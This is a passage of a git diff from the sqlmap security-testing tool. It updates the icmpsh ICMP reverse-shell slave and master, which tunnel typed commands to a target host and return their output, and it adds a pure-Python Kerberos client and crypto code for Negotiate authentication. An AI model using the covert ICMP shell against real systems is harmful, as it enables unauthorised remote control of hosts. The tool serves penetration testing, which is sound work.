failed with %i\n", GetLastError()); + } + break; + } + + // send request/receive response + if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { + if (status == STATUS_OK) { + // write data from response back into pipe + WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); + } + blanks = 0; + } else { + // no reply received or error occured + blanks++; + } + + // wait between requests + Sleep(delay); + + } while (status == STATUS_OK && blanks < max_blanks); + + if (status == STATUS_OK) { + TerminateProcess(pi.hProcess, 0); + } + + return 0; +} + diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_ index a1eb995cb86..4388012aba6 100644 Binary files a/extra/icmpsh/icmpsh.exe_ and b/extra/icmpsh/icmpsh.exe_ differ diff --git a/extra/icmpsh/icmpsh_m.py b/extra/icmpsh/icmpsh_m.py index 6e96952b3d6..17370fdc001 100644 --- a/extra/icmpsh/icmpsh_m.py +++ b/extra/icmpsh/icmpsh_m.py @@ -22,7 +22,6 @@ import os import select import socket -import subprocess import sys def setNonBlocking(fd): @@ -37,7 +36,7 @@ def setNonBlocking(fd): fcntl.fcntl(fd, fcntl.F_SETFL, flags) def main(src, dst): - if subprocess.mswindows: + if sys.platform == "nt": sys.stderr.write('icmpsh master can only run on Posix systems\n') sys.exit(255) @@ -77,56 +76,63 @@ def main(src, dst): decoder = ImpactDecoder.IPDecoder() while True: - cmd = '' - - # Wait for incoming replies - if sock in select.select([ sock ], [], [])[0]: - buff = sock.recv(4096) - - if 0 == len(buff): - # Socket remotely closed - sock.close() - sys.exit(0) - - # Packet received; decode and display it - ippacket = decoder.decode(buff) - icmppacket = ippacket.child() - - # If the packet matches, report it to the user - if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): - # Get identifier and sequence number - ident = icmppacket.get_icmp_id() - seq_id = icmppacket.get_icmp_seq() - data = icmppacket.get_data_as_string() - - if len(data) > 0: - sys.stdout.write(data) - - # Parse command from standard input - try: - cmd = sys.stdin.readline() - except: - pass - - if cmd == 'exit\n': - return - - # Set sequence number and identifier - icmp.set_icmp_id(ident) - icmp.set_icmp_seq(seq_id) - - # Include the command as data inside the ICMP packet - icmp.contains(ImpactPacket.Data(cmd)) - - # Calculate its checksum - icmp.set_icmp_cksum(0) - icmp.auto_checksum = 1 - - # Have the IP packet contain the ICMP packet (along with its payload) - ip.contains(icmp) - - # Send it to the target host - sock.sendto(ip.get_packet(), (dst, 0)) + try: + cmd = '' + + # Wait for incoming replies + if sock in select.select([sock], [], [])[0]: + buff = sock.recv(4096) + + if 0 == len(buff): + # Socket remotely closed + sock.close() + sys.exit(0) + + # Packet received; decode and display it + ippacket = decoder.decode(buff) + icmppacket = ippacket.child() + + # If the packet matches, report it to the user + if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): + # Get identifier and sequence number + ident = icmppacket.get_icmp_id() + seq_id = icmppacket.get_icmp_seq() + data = icmppacket.get_data_as_string() + + if len(data) > 0: + sys.stdout.write(data) + + # Parse command from standard input + try: + cmd = sys.stdin.readline() + except: + pass + + if cmd == 'exit\n': + return + + # Set sequence number and identifier + icmp.set_icmp_id(ident) + icmp.set_icmp_seq(seq_id) + + # Include the command as data inside the ICMP packet + icmp.contains(ImpactPacket.Data(cmd)) + + # Calculate its checksum + icmp.set_icmp_cksum(0) + icmp.auto_checksum = 1 + + # Have the IP packet contain the ICMP packet (along with its payload) + ip.contains(icmp) + + try: + # Send it to the target host + sock.sendto(ip.get_packet(), (dst, 0)) + except socket.error as ex: + sys.stderr.write("'%s'\n" % ex) + sys.stderr.flush() + except: + break if __name__ == '__main__': if len(sys.argv) < 3: diff --git a/extra/kerberos/__init__.py b/extra/kerberos/__init__.py new file mode 100644 index 00000000000..2c772879a4f --- /dev/null +++ b/extra/kerberos/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/extra/kerberos/aes.py b/extra/kerberos/aes.py new file mode 100644 index 00000000000..2cce2db762b --- /dev/null +++ b/extra/kerberos/aes.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Dependency-free AES (FIPS-197) block cipher with CBC mode, supporting 128- and 256-bit keys. It is +# the primitive underneath Kerberos' AES-CTS-HMAC-SHA1-96 (RFC 3962) etypes, kept pure-Python so +# '--auth-type=Negotiate' needs no third-party crypto library. Validated against the FIPS-197 +# known-answer vectors. Python 2.7 / 3.x. +# +# The state is a flat list of 16 ints in AES column-major order: byte i holds row (i % 4), column +# (i // 4), i.e. column c occupies positions [4*c : 4*c + 4]. + +def _gmul(a, b): + """Multiplication in GF(2**8) with the AES reduction polynomial 0x11b.""" + + p = 0 + for _ in range(8): + if b & 1: + p ^= a + high = a & 0x80 + a = (a << 1) & 0xff + if high: + a ^= 0x1b + b >>= 1 + return p + +# GF(2**8) log/exp tables (generator 0x03) -> multiplicative inverse -> S-box (affine transform), +# computed rather than transcribed so there is no 256-entry table to get wrong +_EXP = [0] * 256 +_LOG = [0] * 256 +_x = 1 +for _i in range(255): + _EXP[_i] = _x + _LOG[_x] = _i + _x = _gmul(_x, 0x03) + +def _inv(b): + return 0 if b == 0 else _EXP[(255 - _LOG[b]) % 255] + +def _rotl8(b, n): + return ((b << n) | (b >> (8 - n))) & 0xff + +SBOX = [] +for _b in range(256): + _v = _inv(_b) + SBOX.append(_v ^ _rotl8(_v, 1) ^ _rotl8(_v, 2) ^ _rotl8(_v, 3) ^ _rotl8(_v, 4) ^ 0x63) + +INV_SBOX = [0] * 256 +for _b in range(256): + INV_SBOX[SBOX[_b]] = _b + +RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d] + +def _xor(a, b): + if len(a) != len(b): # equal-length by construction; fail loud (not via assert, which -O strips) + raise ValueError("XOR operands differ in length") + return bytes(bytearray(x ^ y for x, y in zip(bytearray(a), bytearray(b)))) + +class AES(object): + """AES-128/256 block cipher (16-byte block) with a minimal CBC mode.""" + + def __init__(self, key): + key = bytearray(key) + if len(key) not in (16, 32): + raise ValueError("AES key must be 16 or 32 bytes") + self.rounds = 10 if len(key) == 16 else 14 + self._roundKeys = self._expand(key) + + def _expand(self, key): + nk = len(key) // 4 + words = [list(key[4 * i:4 * i + 4]) for i in range(nk)] + for i in range(nk, 4 * (self.rounds + 1)): + temp = list(words[i - 1]) + if i % nk == 0: + temp = temp[1:] + temp[:1] # RotWord + temp = [SBOX[b] for b in temp] # SubWord + temp[0] ^= RCON[i // nk - 1] + elif nk > 6 and i % nk == 4: + temp = [SBOX[b] for b in temp] + words.append([words[i - nk][j] ^ temp[j] for j in range(4)]) + + roundKeys = [] + for r in range(self.rounds + 1): + rk = [] + for c in range(4): + rk.extend(words[4 * r + c]) + roundKeys.append(rk) + return roundKeys + + @staticmethod + def _addRoundKey(state, rk): + for i in range(16): + state[i] ^= rk[i] + + @staticmethod + def _shiftRows(s): + out = [0] * 16 + for r in range(4): + for c in range(4): + out[r + 4 * c] = s[r + 4 * ((c + r) % 4)] + return out + + @staticmethod + def _invShiftRows(s): + out = [0] * 16 + for r in range(4): + for c in range(4): + out[r + 4 * c] = s[r + 4 * ((c - r) % 4)] + return out + + @staticmethod + def _mixColumns(s): + out = [0] * 16 + for c in range(4): + col = s[4 * c:4 * c + 4] + out[4 * c + 0] = _gmul(col[0], 2) ^ _gmul(col[1], 3) ^ col[2] ^ col[3] + out[4 * c + 1] = col[0] ^ _gmul(col[1], 2) ^ _gmul(col[2], 3) ^ col[3] + out[4 * c + 2] = col[0] ^ col[1] ^ _gmul(col[2], 2) ^ _gmul(col[3], 3) + out[4 * c + 3] = _gmul(col[0], 3) ^ col[1] ^ col[2] ^ _gmul(col[3], 2) + return out + + @staticmethod + def _invMixColumns(s): + out = [0] * 16 + for c in range(4): + col = s[4 * c:4 * c + 4] + out[4 * c + 0] = _gmul(col[0], 14) ^ _gmul(col[1], 11) ^ _gmul(col[2], 13) ^ _gmul(col[3], 9) + out[4 * c + 1] = _gmul(col[0], 9) ^ _gmul(col[1], 14) ^ _gmul(col[2], 11) ^ _gmul(col[3], 13) + out[4 * c + 2] = _gmul(col[0], 13) ^ _gmul(col[1], 9) ^ _gmul(col[2], 14) ^ _gmul(col[3], 11) + out[4 * c + 3] = _gmul(col[0], 11) ^ _gmul(col[1], 13) ^ _gmul(col[2], 9) ^ _gmul(col[3], 14) + return out + + def encryptBlock(self, block): + state = list(bytearray(block)) + self._addRoundKey(state, self._roundKeys[0]) + for r in range(1, self.rounds): + state = self._mixColumns(self._shiftRows([SBOX[b] for b in state])) + self._addRoundKey(state, self._roundKeys[r]) + state = self._shiftRows([SBOX[b] for b in state]) + self._addRoundKey(state, self._roundKeys[self.rounds]) + return bytes(bytearray(state)) + + def decryptBlock(self, block): + state = list(bytearray(block)) + self._addRoundKey(state, self._roundKeys[self.rounds]) + for r in range(self.rounds - 1, 0, -1): + state = [INV_SBOX[b] for b in self._invShiftRows(state)] + self._addRoundKey(state, self._roundKeys[r]) + state = self._invMixColumns(state) + state = [INV_SBOX[b] for b in self._invShiftRows(state)] + self._addRoundKey(state, self._roundKeys[0]) + return bytes(bytearray(state)) + + def cbcEncrypt(self, iv, data): + if len(data) % 16 != 0: + raise ValueError("CBC input is not block-aligned") + prev, out = iv, [] + for i in range(0, len(data), 16): + prev = self.encryptBlock(_xor(data[i:i + 16], prev)) + out.append(prev) + return b"".join(out) + + def cbcDecrypt(self, iv, data): + if len(data) % 16 != 0: + raise ValueError("CBC input is not block-aligned") + prev, out = iv, [] + for i in range(0, len(data), 16): + block = data[i:i + 16] + out.append(_xor(self.decryptBlock(block), prev)) + prev = block + return b"".join(out) diff --git a/extra/kerberos/client.py b/extra/kerberos/client.py new file mode 100644 index 00000000000..f8fe44e7f06 --- /dev/null +++ b/extra/kerberos/client.py @@ -0,0 +1,405 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Dependency-free Kerberos 5 client (RFC 4120) built on the in-tree DER codec and RFC 3961/3962 +# crypto. Implements the AS exchange (password -> TGT) with PA-ENC-TIMESTAMP pre-authentication; +# the TGS exchange and AP-REQ follow. Talks to the KDC over TCP (4-byte length framing). +# Python 2.7 / 3.x. + +import calendar +import os +import socket +import struct +import threading +import time + +from extra.kerberos import der +from extra.kerberos import spnego +from extra.kerberos.crypto import ENCTYPES + +GSS_CHECKSUM_TYPE = 0x8003 # RFC 4121 section 4.1.1 authenticator checksum +GSS_CHECKSUM_FLAGS = 0 # no GSS context flags requested (no mutual/deleg) +TICKET_LIFETIME_SECONDS = 10 * 3600 # requested 'till' offset (KDC clamps to its max) + +# message types +AS_REQ, AS_REP, TGS_REQ, TGS_REP, AP_REQ, KRB_ERROR = 10, 11, 12, 13, 14, 30 + +# principal name types +NT_PRINCIPAL, NT_SRV_INST = 1, 2 + +# PA-DATA types +PA_TGS_REQ, PA_ENC_TIMESTAMP, PA_ETYPE_INFO2 = 1, 2, 19 + +# KDC error code that carries the PA-ETYPE-INFO2 hint (etype/salt/iteration count) for pre-auth +KDC_ERR_PREAUTH_REQUIRED = 25 + +# key usages (RFC 4120 section 7.5.1) +USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1 +USAGE_AS_REP_ENCPART = 3 +USAGE_TGS_REQ_AUTH_CKSUM = 6 +USAGE_TGS_REQ_AUTH = 7 +USAGE_TGS_REP_ENCPART = 8 +USAGE_AP_REQ_AUTH = 11 + +PVNO = 5 +DEFAULT_ETYPES = (18, 17, 23) # aes256-cts, aes128-cts, rc4-hmac (best first) +KDC_TIMEOUT = 10 # seconds for the KDC TCP exchange +MAX_KDC_RESPONSE = 8 * 1024 * 1024 # cap on a KDC reply (guards a hostile length prefix) +KERBEROS_TIME_FORMAT = "%Y%m%d%H%M%SZ" # RFC 4120 KerberosTime (always UTC) + +# Bounds on the string-to-key work factor a KDC may ask for. The PA-ETYPE-INFO2 hint carrying it +# arrives on an *unauthenticated* KRB-ERROR, and the field is a full 32 bits, so an absurd value would +# either weaken the derived key against offline guessing or burn hours of CPU (RFC 3962 warns about +# both and recommends configurable bounds). A count of 0 nominally means 2**32, which we cannot honour. +MIN_PBKDF2_ITERATIONS = 4096 # the RFC 3962 default; nothing legitimate is lower +MAX_PBKDF2_ITERATIONS = 1000000 + +def _enctype(etype): + if etype not in ENCTYPES: + raise KerberosError(-1, "unsupported encryption type %d (only AES-CTS-HMAC-SHA1 is implemented)" % etype) + return ENCTYPES[etype] + +class KerberosError(Exception): + def __init__(self, code, text=None): + Exception.__init__(self, "KDC error %d%s" % (code, ": %s" % text if text else "")) + self.code = code + +# ---- EXPLICIT-tag unwrap helpers ------------------------------------------------------------------ +# Kerberos uses EXPLICIT tagging: an [n] field's content is a complete inner TLV, so it must be +# peeled before the value can be read. _fields() maps a SEQUENCE's [n] children to that inner TLV. +def _fields(sequenceContent): + out = {} + for tag, inner in der.children(sequenceContent): + if 0xA0 <= tag <= 0xBE: # context-specific, constructed [0]..[30] + out[tag - 0xA0] = inner + return out + +def _expInteger(field): + return der.decodeInteger(der.peel(field)[1]) + +def _expString(field): + return der.decodeGeneralString(der.peel(field)[1]) + +def _expOctet(field): + return bytes(der.peel(field)[1]) + +def _expFields(field): + """For an [n] field whose inner TLV is a SEQUENCE, return that SEQUENCE's field map.""" + + return _fields(der.peel(field)[1]) + +# ---- message building ----------------------------------------------------------------------------- +def _nonce(): + return struct.unpack(">I", os.urandom(4))[0] & 0x7fffffff + +def _kerberosTime(offsetSeconds=0): + return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(time.time() + offsetSeconds)) + +_timestampLock = threading.Lock() +_lastMicros = -1 + +def _timestamp(): + """(KerberosTime, microseconds) taken from a single clock reading and unique within the process. + + An acceptor's replay cache rejects a repeated (ctime, cusec) for the same principal and service, + and a threaded scan mints an authenticator per request, so the pair must never repeat; a strictly + increasing microsecond counter also keeps cusec inside its INTEGER (0..999999) range by construction. + """ + + global _lastMicros + + with _timestampLock: + micros = max(int(time.time() * 1000000), _lastMicros + 1) + _lastMicros = micros + return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(micros // 1000000)), micros % 1000000 + +def _expTime(field): + """An [n]-wrapped KerberosTime as epoch seconds (None when absent or unparsable, so an unusual + time format degrades ticket-expiry tracking rather than failing the exchange).""" + + try: + return calendar.timegm(time.strptime(der.decodeGeneralString(der.peel(field)[1]), KERBEROS_TIME_FORMAT)) + except ValueError: + return None + +def _principalName(nameType, components): + return der.sequence( + der.tagged(0, der.integer(nameType)), + der.tagged(1, der.sequenceOf([der.generalString(_) for _ in components])), + ) + +def _encryptedData(etype, cipher, kvno=None): + parts = [der.tagged(0, der.integer(etype))] + if kvno is not None: + parts.append(der.tagged(1, der.integer(kvno))) + parts.append(der.tagged(2, der.octetString(cipher))) + return der.sequence(*parts) + +# ---- KDC transport (RFC 4120 section 7.2.2: 4-byte length-prefixed over TCP) ---------------------- +def _recvExactly(sock, count): + buf = b"" + while len(buf) < count: + chunk = sock.recv(count - len(buf)) + if not chunk: + raise KerberosError(-1, "connection closed by KDC") + buf += chunk + return buf + +def _sendReceive(host, port, request): + sock = socket.create_connection((host, port), timeout=KDC_TIMEOUT) + try: + sock.sendall(struct.pack(">I", len(request)) + request) + length = struct.unpack(">I", _recvExactly(sock, 4))[0] + if length > MAX_KDC_RESPONSE: + raise KerberosError(-1, "KDC reply length %d exceeds the sane maximum" % length) + return _recvExactly(sock, length) + finally: + sock.close() + +def _raiseIfError(message): + tag, content, _ = der.peel(message) + if tag == der.applicationTag(KRB_ERROR): + fields = _fields(der.peel(content)[1]) + raise KerberosError(_expInteger(fields[6]) if 6 in fields else -1, + _expString(fields[11]) if 11 in fields else None) + return tag, content + +def _etypeHints(methodData): + """Parse a METHOD-DATA TLV (SEQUENCE OF PA-DATA) into PA-ETYPE-INFO2 hints as + {etype: (salt, iterations)}, telling us which etype/salt/s2kparams the KDC expects for the + long-term key. The first entry for an etype wins; a malformed hint yields none (so the caller + falls back to its defaults) rather than raising.""" + + hints = {} + try: + for _, paData in der.children(der.peel(methodData)[1]): + pa = _fields(paData) + if 1 in pa and 2 in pa and _expInteger(pa[1]) == PA_ETYPE_INFO2: + info = der.peel(pa[2])[1] # padata-value OCTET STRING -> ETYPE-INFO2 (SEQ OF entry) + for _, entry in der.children(der.peel(info)[1]): + fields = _fields(entry) + salt = _expOctet(fields[1]) if 1 in fields else None # opaque octets for string2key (RFC 3961), not UTF-8 + iterations = None + if 2 in fields: + raw = bytes(der.peel(fields[2])[1]) # s2kparams: 4-byte BE iteration count for AES + iterations = struct.unpack(">I", raw)[0] if len(raw) == 4 else None + hints.setdefault(_expInteger(fields[0]), (salt, iterations)) + except (KeyError, IndexError, ValueError, struct.error): + hints.clear() # malformed hint -> fall back to the default etype/salt + return hints + +def _preauthHints(errorFields): + """The etype hints carried by a KDC_ERR_PREAUTH_REQUIRED error's e-data (best effort).""" + + if 12 not in errorFields: # no e-data + return {} + try: + return _etypeHints(der.peel(errorFields[12])[1]) # e-data OCTET STRING -> METHOD-DATA + except (KeyError, IndexError, ValueError, struct.error): + return {} + +def _validatedIterations(iterations): + """Refuse a string-to-key work factor outside local policy. The hint is unauthenticated, so a + spoofed count could either cheapen an offline attack on the PA-ENC-TIMESTAMP we are about to send + or stall the scan for hours; failing loudly beats doing either silently.""" + + if iterations is not None and not MIN_PBKDF2_ITERATIONS <= iterations <= MAX_PBKDF2_ITERATIONS: + raise KerberosError(-1, "KDC advertised an out-of-policy string-to-key iteration count (%d)" % iterations) + return iterations + +def _hintFor(hints, etype, salt, chosenSalt): + """Apply the hint for 'etype': its salt (unless the caller pinned one) and its work factor.""" + + advertisedSalt, iterations = hints.get(etype, (None, None)) + if salt is None and advertisedSalt is not None: + chosenSalt = advertisedSalt + return chosenSalt, _validatedIterations(iterations) + +def _replyEtype(response): + """Return the etype of a KDC-REP's enc-part (which etype the KDC used for the client's key).""" + + try: + rep = _fields(der.peel(der.peel(response)[1])[1]) + return _expInteger(_expFields(rep[6])[0]) + except (KeyError, IndexError, ValueError, struct.error): + raise KerberosError(-1, "malformed KDC reply") + +def _parseRep(response, key, usage, expectedNonce, expectedType): + """Parse an AS-REP / TGS-REP: decrypt its enc-part with 'key' under 'usage', returning the + opaque ticket and the freshly issued session key. The two replies are structurally identical. + The reply's application tag MUST match the expected message type, and the nonce carried in the + (integrity-protected) enc-part MUST equal the request nonce (RFC 4120).""" + + try: # any structural defect in a hostile/truncated reply -> KerberosError + tag, repContent = _raiseIfError(response) + if tag != der.applicationTag(expectedType): + raise KerberosError(-1, "unexpected reply message type (tag 0x%02x)" % tag) + rep = _fields(der.peel(repContent)[1]) + encData = _expFields(rep[6]) # enc-part (EncryptedData) + repEtype = _expInteger(encData[0]) + try: + encRepPart = _enctype(repEtype).decrypt(key, usage, _expOctet(encData[2])) + except ValueError: # HMAC mismatch -> we hold the wrong long-term key + raise KerberosError(-1, "reply decryption failed (wrong password or salt)") + + # Enc*RepPart = [APPLICATION 25/26] EncKDCRepPart ; key is field [0], nonce is field [2] + encKdcRep = _fields(der.peel(der.peel(encRepPart)[1])[1]) + if _expInteger(encKdcRep[2]) != expectedNonce: + raise KerberosError(-1, "reply nonce does not match the request (possible replay)") + keyFields = _expFields(encKdcRep[0]) + + return { + "ticket": bytes(rep[5]), + "sessionKey": _expOctet(keyFields[1]), + "sessionKeyType": _expInteger(keyFields[0]), + "etype": repEtype, + "crealm": _expString(rep[3]), + # EncKDCRepPart endtime [7]; a scan can outlive the ticket, so the caller can re-fetch + "endtime": _expTime(encKdcRep[7]) if 7 in encKdcRep else None, + } + except (KeyError, IndexError, ValueError, struct.error): + raise KerberosError(-1, "malformed KDC reply") + +def _reqBody(realm, snameType, snameComponents, etypes, nonce, cnameComponents=None): + parts = [der.tagged(0, der.bitString(b"\x00\x00\x00\x00"))] # kdc-options + if cnameComponents is not None: + parts.append(der.tagged(1, _principalName(NT_PRINCIPAL, cnameComponents))) # cname (AS only) + parts.append(der.tagged(2, der.generalString(realm))) # realm + parts.append(der.tagged(3, _principalName(snameType, snameComponents))) # sname + parts.append(der.tagged(5, der.generalizedTime(_kerberosTime(offsetSeconds=TICKET_LIFETIME_SECONDS)))) # till + parts.append(der.tagged(7, der.integer(nonce))) # nonce + parts.append(der.tagged(8, der.sequenceOf([der.integer(_) for _ in etypes]))) # etype + return der.sequence(*parts) + +def _authenticator(crealm, cnameComponents, cksum=None, seqNumber=None): + ctime, cusec = _timestamp() # both from one clock reading, never repeating + parts = [ + der.tagged(0, der.integer(PVNO)), + der.tagged(1, der.generalString(crealm)), + der.tagged(2, _principalName(NT_PRINCIPAL, cnameComponents)), + ] + if cksum is not None: + parts.append(der.tagged(3, der.sequence(der.tagged(0, der.integer(cksum[0])), + der.tagged(1, der.octetString(cksum[1]))))) + parts.append(der.tagged(4, der.integer(cusec))) + parts.append(der.tagged(5, der.generalizedTime(ctime))) + if seqNumber is not None: # [7] seq-number, expected of a GSS AP-REQ + parts.append(der.tagged(7, der.integer(seqNumber))) + return der.application(2, der.sequence(*parts)) + +def _apReq(ticket, encAuthenticator, etype, apOptions=b"\x00\x00\x00\x00"): + return der.application(AP_REQ, der.sequence( + der.tagged(0, der.integer(PVNO)), + der.tagged(1, der.integer(AP_REQ)), + der.tagged(2, der.bitString(apOptions)), + der.tagged(3, ticket), # raw Ticket TLV (already [APPLICATION 1]) + der.tagged(4, _encryptedData(etype, encAuthenticator)), + )) + +# ---- AS exchange (password -> TGT) ---------------------------------------------------------------- +def _asReq(realm, username, etypes, nonce, padata=None): + reqBody = _reqBody(realm, NT_SRV_INST, ["krbtgt", realm], etypes, nonce, cnameComponents=[username]) + parts = [der.tagged(1, der.integer(PVNO)), der.tagged(2, der.integer(AS_REQ))] + if padata is not None: + parts.append(der.tagged(3, der.sequenceOf([padata]))) + parts.append(der.tagged(4, reqBody)) + return der.application(AS_REQ, der.sequence(*parts)) + +def getTGT(realm, username, password, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES, salt=None): + """Run the AS exchange and return the TGT and its session key. + + Follows the standard two-step flow: an initial request without pre-auth learns the KDC's expected + etype/salt/iteration-count from PA-ETYPE-INFO2 (so non-default salts and AES-128-only principals + work), then a PA-ENC-TIMESTAMP-authenticated request obtains the ticket. Returns + {'ticket': , 'sessionKey': bytes, 'sessionKeyType': int, 'crealm': str, + 'endtime': epoch seconds}. 'realm' is used exactly as given (RFC 4120 realms are case-sensitive). + """ + + chosenSalt = salt if salt is not None else realm + username + + # 1) probe without pre-auth to discover the etype/salt/iterations (or get the TGT outright) + nonce = _nonce() + response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce)) + tag = der.peel(response)[0] + + if tag == der.applicationTag(AS_REP): # KDC issued the ticket without pre-auth + etype = _replyEtype(response) # derive the key for the etype the KDC actually used + rep = _fields(der.peel(der.peel(response)[1])[1]) + # the reply's own padata can still carry the salt/iterations of a non-default principal + chosenSalt, iterations = _hintFor(_etypeHints(rep[2]) if 2 in rep else {}, etype, salt, chosenSalt) + clientKey = _enctype(etype).string2key(password, chosenSalt, iterations) + return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP) + + etype, iterations = etypes[0], None + if tag == der.applicationTag(KRB_ERROR): + errorFields = _fields(der.peel(der.peel(response)[1])[1]) + code = _expInteger(errorFields[6]) if 6 in errorFields else -1 + if code != KDC_ERR_PREAUTH_REQUIRED: + raise KerberosError(code, _expString(errorFields[11]) if 11 in errorFields else None) + # the hint is unauthenticated, so it may only choose among the etypes we actually offered, and + # in *our* order of preference rather than the KDC's (otherwise it could force a downgrade) + hints = _preauthHints(errorFields) + for offered in etypes: + if offered in hints and offered in ENCTYPES: + etype = offered + break + chosenSalt, iterations = _hintFor(hints, etype, salt, chosenSalt) + + enc = _enctype(etype) + clientKey = enc.string2key(password, chosenSalt, iterations) + + # 2) authenticated request with PA-ENC-TIMESTAMP under the discovered etype/salt + patime, pausec = _timestamp() + paTsEnc = der.sequence(der.tagged(0, der.generalizedTime(patime)), der.tagged(1, der.integer(pausec))) + cipher = enc.encrypt(clientKey, USAGE_AS_REQ_PA_ENC_TIMESTAMP, paTsEnc) + paData = der.sequence( + der.tagged(1, der.integer(PA_ENC_TIMESTAMP)), + der.tagged(2, der.octetString(_encryptedData(etype, cipher))), + ) + nonce = _nonce() + response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce, padata=paData)) + return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP) + +# ---- TGS exchange (TGT -> service ticket) --------------------------------------------------------- +def getServiceTicket(tgt, realm, username, serviceComponents, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES): + """Present the TGT in a PA-TGS-REQ AP-REQ to obtain a ticket for the named service. + + Returns the same shape as getTGT (the 'ticket' is now the service ticket). Cross-realm referrals + are not followed, so 'serviceComponents' must name a service inside 'realm'. + """ + + enc = _enctype(tgt["sessionKeyType"]) + nonce = _nonce() + reqBody = _reqBody(realm, NT_SRV_INST, serviceComponents, etypes, nonce) + + cksum = (enc.cksumtype, enc.checksum(tgt["sessionKey"], USAGE_TGS_REQ_AUTH_CKSUM, reqBody)) + authenticator = _authenticator(realm, [username], cksum=cksum) + encAuth = enc.encrypt(tgt["sessionKey"], USAGE_TGS_REQ_AUTH, authenticator) + apReq = _apReq(tgt["ticket"], encAuth, tgt["sessionKeyType"]) + + paTgs = der.sequence(der.tagged(1, der.integer(PA_TGS_REQ)), der.tagged(2, der.octetString(apReq))) + tgsReq = der.application(TGS_REQ, der.sequence( + der.tagged(1, der.integer(PVNO)), + der.tagged(2, der.integer(TGS_REQ)), + der.tagged(3, der.sequenceOf([paTgs])), + der.tagged(4, reqBody), + )) + + return _parseRep(_sendReceive(kdcHost, kdcPort, tgsReq), tgt["sessionKey"], USAGE_TGS_REP_ENCPART, nonce, TGS_REP) + +# ---- SPNEGO "Negotiate" token (cached service ticket -> ready-to-send HTTP token) ----------------- +def spnegoFromTicket(service, realm, username): + """Build a fresh SPNEGO token from an already-obtained service ticket (no KDC round-trip). Each + call produces a new AP-REQ authenticator, as replay caches require, so a cached ticket can back + every request of a scan cheaply.""" + + enc = _enctype(service["sessionKeyType"]) + gssChecksum = (GSS_CHECKSUM_TYPE, struct.pack("I", block), hashlib.sha1).digest() + acc = bytearray(u) + for _ in range(iterations - 1): + u = hmac.new(password, u, hashlib.sha1).digest() + acc = bytearray(x ^ y for x, y in zip(acc, bytearray(u))) + out += acc + block += 1 + return bytes(out[:dklen]) + +def _rotate_right(data, nbits): + """Rotate a byte string right by 'nbits' bits, preserving its length.""" + + data = bytearray(data) + if not data: + return data + total = len(data) * 8 + nbits %= total + value = ((_b2i(data) >> nbits) | (_b2i(data) << (total - nbits))) & ((1 << total) - 1) + return _i2b(value, len(data)) + +def nfold(data, nbytes): + """RFC 3961 n-fold: spread 'data' over 'nbytes' bytes via 13-bit rotated copies summed with an + end-around carry (ones-complement addition).""" + + data = bytearray(data) + + def gcd(a, b): + while b: + a, b = b, a % b + return a + + lcm = len(data) * nbytes // gcd(len(data), nbytes) + + buf = bytearray() + rotation = 0 + while len(buf) < lcm: + buf += _rotate_right(data, rotation) + rotation += 13 + + bits = 8 * nbytes + mask = (1 << bits) - 1 + acc = sum(_b2i(buf[off:off + nbytes]) for off in range(0, lcm, nbytes)) + while acc > mask: + acc = (acc & mask) + (acc >> bits) + return bytes(_i2b(acc, nbytes)) + +class AESEnctype(object): + """AES-CTS-HMAC-SHA1-96 simplified-profile enctype (RFC 3962). keysize 16 => etype 17, 32 => 18.""" + + blocksize = 16 + macsize = 12 + + def __init__(self, keysize): + self.keysize = keysize + self.cksumtype = 16 if keysize == 32 else 15 # hmac-sha1-96-aes256 / -aes128 + + def checksum(self, key, usage, data): + """Keyed checksum (RFC 3961 get_mic): HMAC-SHA1-96 under the checksum key DK(key, usage|0x99).""" + + kc = self.dk(key, struct.pack(">IB", usage, 0x99)) + return hmac.new(kc, data, hashlib.sha1).digest()[:self.macsize] + + # --- key schedule ------------------------------------------------------------------------------- + def _dr(self, key, constant): + """RFC 3961 DR: iterate the single-block cipher over the (n-folded) constant to seedsize.""" + + aes = AES(key) + block = nfold(constant, self.blocksize) + out = bytearray() + while len(out) < self.keysize: + block = aes.encryptBlock(block) # single 16-byte block => CBC(iv=0) == ECB + out += bytearray(block) + return bytes(out[:self.keysize]) + + @cachedmethod + def dk(self, key, constant): + """RFC 3961 DK = random-to-key(DR(...)); random-to-key is the identity for AES. + + Cached: it is a pure function of (key, constant), while a scan mints an authenticator per + request from the same handful of long-lived keys, so the pure-Python DR would otherwise be + recomputed for every single one.""" + + return self._dr(key, constant) + + def string2key(self, password, salt, iterations=None): + """RFC 3962 string-to-key: DK(PBKDF2-HMAC-SHA1(password, salt), "kerberos").""" + + iterations = iterations or DEFAULT_PBKDF2_ITERATIONS + tkey = _pbkdf2(_to_bytes(password), _to_bytes(salt), iterations, self.keysize) + return self.dk(tkey, b"kerberos") + + # --- CBC ciphertext stealing (RFC 3962, CS3: always swap the final two blocks) ------------------ + def _basicEncrypt(self, key, data): + aes = AES(key) + padded = data + b"\x00" * ((-len(data)) % self.blocksize) + ct = aes.cbcEncrypt(b"\x00" * self.blocksize, padded) + if 